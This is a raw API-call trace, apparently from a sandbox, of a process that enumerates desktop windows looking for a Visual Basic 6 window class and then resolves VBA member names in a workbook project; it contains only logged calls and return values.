	[0224.852] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0224.852] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10188
	[0224.852] GetClassNameA (in: hWnd=0x10188, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Spokewin") returned 8
	[0224.852] lstrcmpA (lpString1="Spokewin", lpString2="ThunderRT6Main") returned -1
	[0224.852] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0224.852] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x1018a
	[0224.853] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.853] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.853] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0224.853] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x10184
	[0224.853] GetClassNameA (in: hWnd=0x10184, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Colored_app") returned 11
	[0224.853] lstrcmpA (lpString1="Colored_app", lpString2="ThunderRT6Main") returned -1
	[0224.853] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0224.853] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x10186
	[0224.853] GetClassNameA (in: hWnd=0x10186, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.853] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.853] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0224.853] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10180
	[0224.853] GetClassNameA (in: hWnd=0x10180, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Showtimeswnd") returned 12
	[0224.853] lstrcmpA (lpString1="Showtimeswnd", lpString2="ThunderRT6Main") returned -1
	[0224.853] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0224.853] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x20182
	[0224.853] GetClassNameA (in: hWnd=0x20182, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.853] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.853] GetWindowThreadProcessId (in: hWnd=0x20182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0224.853] GetWindow (hWnd=0x20182, uCmd=0x2) returned 0x1017c
	[0224.853] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="architectural_Sweden_utils_win") returned 30
	[0224.853] lstrcmpA (lpString1="architectural_Sweden_utils_win", lpString2="ThunderRT6Main") returned -1
	[0224.853] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0224.853] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e
	[0224.853] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.853] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.853] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0224.853] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178
	[0224.853] GetClassNameA (in: hWnd=0x10178, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Freeze_Danish_Tropical_win") returned 26
	[0224.853] lstrcmpA (lpString1="Freeze_Danish_Tropical_win", lpString2="ThunderRT6Main") returned -1
	[0224.853] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0224.853] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a
	[0224.853] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.853] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.853] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0224.853] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174
	[0224.853] GetClassNameA (in: hWnd=0x10174, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="goat_chrome_wnd") returned 15
	[0224.854] lstrcmpA (lpString1="goat_chrome_wnd", lpString2="ThunderRT6Main") returned -1
	[0224.854] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0224.854] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176
	[0224.854] GetClassNameA (in: hWnd=0x10176, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.854] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.854] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0224.854] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10170
	[0224.854] GetClassNameA (in: hWnd=0x10170, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="arabiccls") returned 9
	[0224.854] lstrcmpA (lpString1="arabiccls", lpString2="ThunderRT6Main") returned -1
	[0224.854] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0224.854] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x10172
	[0224.854] GetClassNameA (in: hWnd=0x10172, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.854] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.854] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0224.854] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c
	[0224.854] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="workedwindow") returned 12
	[0224.854] lstrcmpA (lpString1="workedwindow", lpString2="ThunderRT6Main") returned 1
	[0224.854] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0224.854] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e
	[0224.854] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.854] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.854] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0224.854] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10166
	[0224.854] GetClassNameA (in: hWnd=0x10166, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="fibre_class") returned 11
	[0224.854] lstrcmpA (lpString1="fibre_class", lpString2="ThunderRT6Main") returned -1
	[0224.854] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0224.854] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168
	[0224.854] GetClassNameA (in: hWnd=0x10168, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.854] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.854] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0224.854] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162
	[0224.854] GetClassNameA (in: hWnd=0x10162, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="ImaginationbrotherFarmers") returned 25
	[0224.854] lstrcmpA (lpString1="ImaginationbrotherFarmers", lpString2="ThunderRT6Main") returned -1
	[0224.854] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0224.854] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164
	[0224.854] GetClassNameA (in: hWnd=0x10164, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.855] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.855] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0224.855] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e
	[0224.855] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="SloveniamsgidCommanderwindow") returned 28
	[0224.855] lstrcmpA (lpString1="SloveniamsgidCommanderwindow", lpString2="ThunderRT6Main") returned -1
	[0224.855] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0224.855] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160
	[0224.855] GetClassNameA (in: hWnd=0x10160, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.855] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.855] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0224.855] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10158
	[0224.855] GetClassNameA (in: hWnd=0x10158, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="specifiedwnd") returned 12
	[0224.855] lstrcmpA (lpString1="specifiedwnd", lpString2="ThunderRT6Main") returned -1
	[0224.855] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0224.855] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x1015a
	[0224.855] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.855] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.855] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0224.855] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x90154
	[0224.855] GetClassNameA (in: hWnd=0x90154, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="habitsSciencesgates") returned 19
	[0224.855] lstrcmpA (lpString1="habitsSciencesgates", lpString2="ThunderRT6Main") returned -1
	[0224.855] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0224.855] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x10156
	[0224.855] GetClassNameA (in: hWnd=0x10156, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.855] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.855] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0224.855] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x50118
	[0224.855] GetClassNameA (in: hWnd=0x50118, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="rarely_Pleasure_Museum_") returned 23
	[0224.855] lstrcmpA (lpString1="rarely_Pleasure_Museum_", lpString2="ThunderRT6Main") returned -1
	[0224.855] GetWindowThreadProcessId (in: hWnd=0x50118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0224.855] GetWindow (hWnd=0x50118, uCmd=0x2) returned 0x3010e
	[0224.855] GetClassNameA (in: hWnd=0x3010e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.855] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.855] GetWindowThreadProcessId (in: hWnd=0x3010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0224.856] GetWindow (hWnd=0x3010e, uCmd=0x2) returned 0x20116
	[0224.856] GetClassNameA (in: hWnd=0x20116, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52
	[0224.856] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1
	[0224.856] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0224.856] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a
	[0224.856] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40
	[0224.856] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1
	[0224.856] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0224.856] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148
	[0224.856] GetClassNameA (in: hWnd=0x10148, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18
	[0224.856] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1
	[0224.856] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0224.856] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e
	[0224.856] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12
	[0224.856] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1
	[0224.856] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0224.856] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132
	[0224.856] GetClassNameA (in: hWnd=0x10132, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16
	[0224.856] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1
	[0224.856] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0224.856] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134
	[0224.856] GetClassNameA (in: hWnd=0x10134, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.856] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.856] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0224.856] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a
	[0224.856] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20
	[0224.856] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1
	[0224.856] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0224.856] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c
	[0224.856] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.856] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.856] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0224.856] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120
	[0224.856] GetClassNameA (in: hWnd=0x10120, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15
	[0224.856] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1
	[0224.856] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0224.856] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122
	[0224.857] GetClassNameA (in: hWnd=0x10122, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.857] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.857] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0224.857] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e
	[0224.857] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0224.857] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0224.857] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0224.857] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0
	[0224.857] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.857] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.857] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.857] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae
	[0224.857] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43
	[0224.857] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1
	[0224.857] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.857] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0
	[0224.857] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24
	[0224.857] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1
	[0224.857] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.857] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4
	[0224.857] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.857] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.857] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.857] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc
	[0224.857] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.857] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.857] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.857] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca
	[0224.857] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.857] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.857] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.857] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0
	[0224.857] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
	[0224.857] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
	[0224.857] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.857] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018
	[0224.857] GetClassNameA (in: hWnd=0x20018, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8
	[0224.858] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1
	[0224.858] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0224.858] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a
	[0224.858] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.858] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.858] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0224.858] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c
	[0224.858] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22
	[0224.858] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1
	[0224.858] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0224.858] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016
	[0224.858] GetClassNameA (in: hWnd=0x20016, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.858] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.858] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0224.858] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2
	[0224.858] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21
	[0224.858] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
	[0224.858] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0224.858] GetClassNameA (in: hWnd=0x20108, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.858] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.858] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0225.098] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c
	[0225.099] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa
	[0225.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10
	[0225.099] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa
	[0225.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=11, lpWideCharStr=0xb87cfc8, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11
	[0225.099] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe
	[0225.099] SysStringByteLen (bstr="慭牲敳汬") returned 0x8
	[0225.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8
	[0225.099] SysStringByteLen (bstr="慭牲敳汬") returned 0x8
	[0225.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=9, lpWideCharStr=0xbd71868, cchWideChar=9 | out: lpWideCharStr="marrsell") returned 9
	[0225.100] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.marrsell") returned 0x10e3ce
	[0225.100] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.marrsell") returned 0x10e3ce
	[0225.100] lstrlenA (lpString="ThisWorkbook.marrsell") returned 21
	[0225.100] SysStringByteLen (bstr="敳瑴敬r") returned 0x7
	[0225.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7
	[0225.100] SysStringByteLen (bstr="敳瑴敬r") returned 0x7
	[0225.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=8, lpWideCharStr=0xbd71868, cchWideChar=8 | out: lpWideCharStr="settler") returned 8
	[0225.101] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.settler") returned 0x1074df
	[0225.101] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.settler") returned 0x1074df
	[0225.101] lstrlenA (lpString="ThisWorkbook.settler") returned 20
	[0225.101] SysStringByteLen (bstr="潤扵敬档捥k") returned 0xb
	[0225.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11
	[0225.101] SysStringByteLen (bstr="潤扵敬档捥k") returned 0xb
	[0225.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=12, lpWideCharStr=0xbd71868, cchWideChar=12 | out: lpWideCharStr="doublecheck") returned 12
	[0225.101] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.doublecheck") returned 0x106002
	[0225.101] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.doublecheck") returned 0x106002
	[0225.101] lstrlenA (lpString="ThisWorkbook.doublecheck") returned 24
	[0225.101] SysStringByteLen (bstr="潦浲慳摮s") returned 0x9
	[0225.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9
	[0225.101] SysStringByteLen (bstr="潦浲慳摮s") returned 0x9
	[0225.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=10, lpWideCharStr=0xbd71868, cchWideChar=10 | out: lpWideCharStr="formsands") returned 10
	[0225.101] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.formsands") returned 0x1003ba
	[0225.101] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.formsands") returned 0x1003ba
	[0225.101] lstrlenA (lpString="ThisWorkbook.formsands") returned 22
	[0225.102] SysStringByteLen (bstr="汣慥摲瑡獡") returned 0xa
	[0225.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10
	[0225.102] SysStringByteLen (bstr="汣慥摲瑡獡") returned 0xa
	[0225.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=11, lpWideCharStr=0xbd71868, cchWideChar=11 | out: lpWideCharStr="cleardatas") returned 11
	[0225.102] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.cleardatas") returned 0x1027af
	[0225.102] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.cleardatas") returned 0x1027af
	[0225.102] lstrlenA (lpString="ThisWorkbook.cleardatas") returned 23
	[0225.102] SysStringByteLen (bstr="潣浭敤") returned 0x6
	[0225.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6
	[0225.102] SysStringByteLen (bstr="潣浭敤") returned 0x6
